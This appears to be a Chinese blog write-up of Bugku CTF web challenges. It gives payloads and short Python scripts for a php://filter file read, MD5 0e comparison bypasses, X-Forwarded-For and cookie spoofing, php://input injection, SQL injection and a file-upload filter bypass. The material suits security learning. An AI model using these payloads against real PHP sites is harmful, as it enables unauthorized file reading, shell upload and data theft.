zoukankan      html  css  js  c++  java
  • bugku web write-up

    web2

    F12

    计算器

    F12改html

    $get $post

    ? & hackbar

    矛盾

    很多解法
    1加一个符号就行了

    web3

    F12,发现一串密文,Unicode解码

    域名解析

    我们百度这个是什么意思

    是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
    互联网中的地址是数字的IP地址,域名解析的作用主要就是为了便于记忆。

    我们知道我们的网址是192.xxx.xxx.xx这种形式,那为什么我们能用www.baidu.com呢,就是绑定了。

    管理员权限打开C:WindowsSystem32driversetchost

    你必须让他停下来

    抓包,多go几次就看到了

    变量1

    <?php  
    
    error_reporting(0);
    include "flag1.php";
    highlight_file(__file__);
    if(isset($_GET['args'])){
        $args = $_GET['args'];
        if(!preg_match("/^w+$/",$args)){
            die("args error!");
        }
        eval("var_dump($$args);");
    }
    ?>
    

    最后一句话的意思是打印出我们要的传进去的值作为变量名
    大概意思是,
    ?args=1
    那就打印 $1
    ?args=dqw
    那就打印 $dqw
    初步想法是传flag,但是不可能让你那么简单就拿到啊对吧。

    这里是引用$GLOBALS
    $GLOBALS — 引用全局作用域中可用的全部变量
    说明
    一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

    WEB5

    JSFUCK解码
    丢到F12里面执行

    头等舱

    抓包

    网站被黑

    扫后台,抓包,爆破

    管理员系统

    这题很鬼,网页源代码的很下面有个base64加密的东西,解密是test123,然后uesr=admin,pass=test123还是错,说IP不行,那就加本地头,X-Forwarded-For=127.0.0.1通过

    WEB4

    看源代码很容易看懂,就一个escape加密。解密出来为一串函数

    function checkSubmit() {
        var a = document.getElementById("password");
        if ("undefined" != typeof a) {
            if ("67d709b2b54aa2aa648cf6e87a7114f1" == a.value)
                return !0;
            alert("Error");
            a.focus();
            return !1
        }
    }
    document.getElementById("levelQuest").onsubmit = checkSubmit;
    

    很简单了复制粘贴就好

    flag在index里

    伪协议读取源码

    ?file=php://filter/convert.base64-encode/resource=index.php
    解码

    输入密码查看flag

    纯爆破

    点击100w次

    var clicks=0
        $(function() {
          $("#cookie")
            .mousedown(function() {
              $(this).width('350px').height('350px');
            })
            .mouseup(function() {
              $(this).width('375px').height('375px');
              clicks++;
              $("#clickcount").text(clicks);
              if(clicks >= 1000000){
              	var form = $('<form action="" method="post">' +
    						'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
    						'</form>');
    						$('body').append(form);
    						form.submit();
              }
            });
        });
    

    看到这个源码,有个mousedown和up,点击一下clicks加一,然后有个from表单,有一个hidden的post,可以通过post clicks的值改变clicks,那就hackbar

    备份是个好习惯

    看到备份,看到一串不知道是啥的东西长得像16进制但是转换不出来。
    尝试index.php~和index.php.bak,存在bak,打开

    <?php
    include_once "flag.php";
    ini_set("display_errors", 0);
    $str = strstr($_SERVER['REQUEST_URI'], '?');
    $str = substr($str,1);
    $str = str_replace('key','',$str);
    parse_str($str);
    echo md5($key1);
    
    echo md5($key2);
    if(md5($key1) == md5($key2) && $key1 !== $key2){
        echo $flag."取得flag";
    }
    ?>
    

    看源码我们分析,
    1、是有一个replace,会把key代替成后面的空白
    2、md5相等

    两个知识点,一个是绕过字符过滤,一个是md5的0E相等
    空白用双写绕过,0E相等直接百度。
    ?kekeyy1=s878926199a&kekeyy2=s155964671a

    成绩单

    最简单的注入
    测试发现是单引号注入
    order by,table columns 再到字段
    这里有一个奇怪的地方,就是order by 能回显四段,但是我怎么放都只能在最后一个地方回显

    秋名山老司机

    import requests
    import re
    url="http://123.206.87.240:8002/qiumingshan/"
    r=requests.session()
    text=r.get(url).text #将get到的数据以文本形式显示出来
    cont=re.findall('<div>(.*?)</div>',text) #匹配出计算表达式,返回的是列表
    cont="".join(cont) #列表转字符串,因为eval()接收的参数类型为string, bytes or code object
    cont=cont[:-3] #删掉多余的字符
    post=eval(cont) #eval()可以把字符串当做有效表达式进行计算
    data={'value':post} #构造post数据
    ans=r.post(url,data=data)
    print(ans.text)
    
    

    在这里插入图片描述

    速度要快

    F12,看到内容post一个margin,抓包,发现responds里面有flag的base64,但是每次都会变化,而且后面能再解码,我们可以知道,这个应该就是所谓的margin。上脚本。

    import requests
    import re
    import base64
    url="http://123.206.87.240:8002/web6/"
    r=requests.session()
    headers=r.get(url).headers#在header而不是text
    print(headers)
    cont = base64.b64decode(headers['flag'])
    cont= base64.b64decode(str(cont).split(':')[1])
    print(cont)
    data= {'margin':cont}
    flag = r.post("http://123.206.87.240:8002/web6/",data=data)
    print(flag.text)
    

    cookies欺骗

    进去,一堆乱英文,看到url,有个base64,解码是keys.txt。行数没用,那就估计可能在flag.php或者index.php里面,将index.php加密,放到url上面,改行数,出来源码,一个个找,也可以写脚本找

    import re
    import requests
    for i in range(1,30):
        url='http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
        r=requests.session()
        text=r.get(url).text
        print(text)
    

    index.php内容

    error_reporting(0);
    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
    $line=isset($_GET['line'])?intval($_GET['line']):0;
    if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
    $file_list = array(
    '0' =>'keys.txt',
    '1' =>'index.php',
    );
     
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
    $file_list[2]='keys.php';
    }
     
    if(in_array($file, $file_list)){
    $fa = file($file);
    echo $fa[$line];
    }
    ?>
    

    传一个cookie,内容是margin=margin,然后才能访问keys.php

    never give up

    开始看到一个id=,还以为是注入,看源码发现有个注释,1P.html
    进去发现跳转到了bugku论坛首页,看来有个跳转,那就抓包试试,算了懒得抓包了,直接在前面加一个view-source

    一串base64,解密看到代码

    ";if(!$_GET['id'])
    {
    	header('Location: hello.php?id=1');
    	exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))
    {
    	echo 'no no no no no no no';
    	return ;
    }
    $data = @file_get_contents($a,'r');
    if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    {
    	require("f4l2a3g.txt");
    }
    else
    {
    	print "never never never give up !!!";
    }
    ?>
    

    看到这个东西我们先尝试一下能不能访问那个txt,当然这属于偷鸡,好的,可以
    很熟悉了,伪协议post $data,弱类型相等,%00截断
    id=q,a=php://input,b=%00qweqew

    字符?正则?

    $IM= preg_match("/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
    

    开始的/和结束的/,正则表达式标志

    .代表数字匹配任意数字,代表匹配0-n次两者结合.就是匹配任一个数字任意次

    表示后面的那个字符,而不是代表其他意义的

    {4,7}表示匹配前一个字符4到7次

    [a-z]就是匹配a-z之间的字符

    [[:punct:]]匹配任意标点

    /i (忽略大小写)
    wp:?id=key1key22222key:/3/keya]

    前女友(SKCTF)

    右键源码,code.txt

    <?php
    if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
        $v3 = $_GET['v3'];
        if($v1 != $v2 && md5($v1) == md5($v2)){
            if(!strcmp($v3, $flag)){
                echo $flag;
            }
        }
    }
    ?>
    

    md5 0e相等,strcmp函数漏洞

    login1(SKCTF)

    hint 约束攻击,百度

    注册加空格

    你从哪里来

    扫描后台,莫名其妙干扰
    看到from google,想到请求头

    HTTP_REFERER 编辑 HTTP
    Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,
    告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。 简而言之,HTTP
    Referer是header的一部分,当浏览器向web服务器发送请求的时候, 一般会带上Referer,告诉服务器我是从哪个页面链接过来的

    md5 collision(NUPT_CTF)

    现在没内容了,在南邮有,那就到时在南邮wp再写

    程序员本地网站

    本地访问
    X-Forwarded-For:127.0.0.1

    各种绕过

    sha1碰撞,可以直接传数组然后返回0就满足条件了,也可以百度sha1碰撞

    web8

    ac不为空,有一个熟悉的伪协议应用,f没有接口
    ?ac=1&fn=php://input post1

    细心

    hint:变成admin,开始想可能是改什么cookie或者能改的
    抓包,没用,扫后台,发现robots.txt,进去发现有一个php,进去
    看到一句话,if (_GET[x]==$password)
    联想到提示,那就x=admin吧

    求getshell

    这题有点不懂原理,本来以为用%00上传木马然后连接,但是失败了
    1、Content-Type 中,方式把部分字母改成大写绕过
    2、黑名单白名单,这里尝试php5,绕过成功

    insert into 注入

    error_reporting(0);
    
    function getIp(){
    $ip = '';
    if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }else{
    $ip = $_SERVER['REMOTE_ADDR'];
    }
    $ip_arr = explode(',', $ip);
    return $ip_arr[0];
    
    }
    
    $host="localhost";
    $user="";
    $pass="";
    $db="";
    
    $connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
    
    mysql_select_db($db) or die("Unable to select database");
    
    $ip = getIp();
    echo 'your ip is :'.$ip;
    $sql="insert into client_ip (ip) values ('$ip')";
    mysql_query($sql);
    
  • 相关阅读:
    关于自动分裂的思考 | Solrex 杨文博的博客,记录我的生活、技术、思想和梦想
    在STL中,map按值来排序的实现方法_永不言弃是生命的基调!_百度空间
    C/C++学习路线(教材推荐)_Hello World!_百度空间
    Google C++ Style中允许使用的Boost库(1) 程序即人生 博客频道 CSDN.NET
    STL中map按值(value)排序
    程序即人生 » 移动平台现在可用的C++ 11特性
    开发者应该了解的 12 款 Eclipse 插件 编程语言 ITeye资讯
    Lisp的给力特性(V.S. Python3) 第二篇 程序即人生 博客频道 CSDN.NET
    Solidot | 地球上有多少Java程序员?
    在STL中,map按值来排序的实现方法
  • 原文地址:https://www.cnblogs.com/vstar-o/p/12582891.html
Copyright © 2011-2022 走看看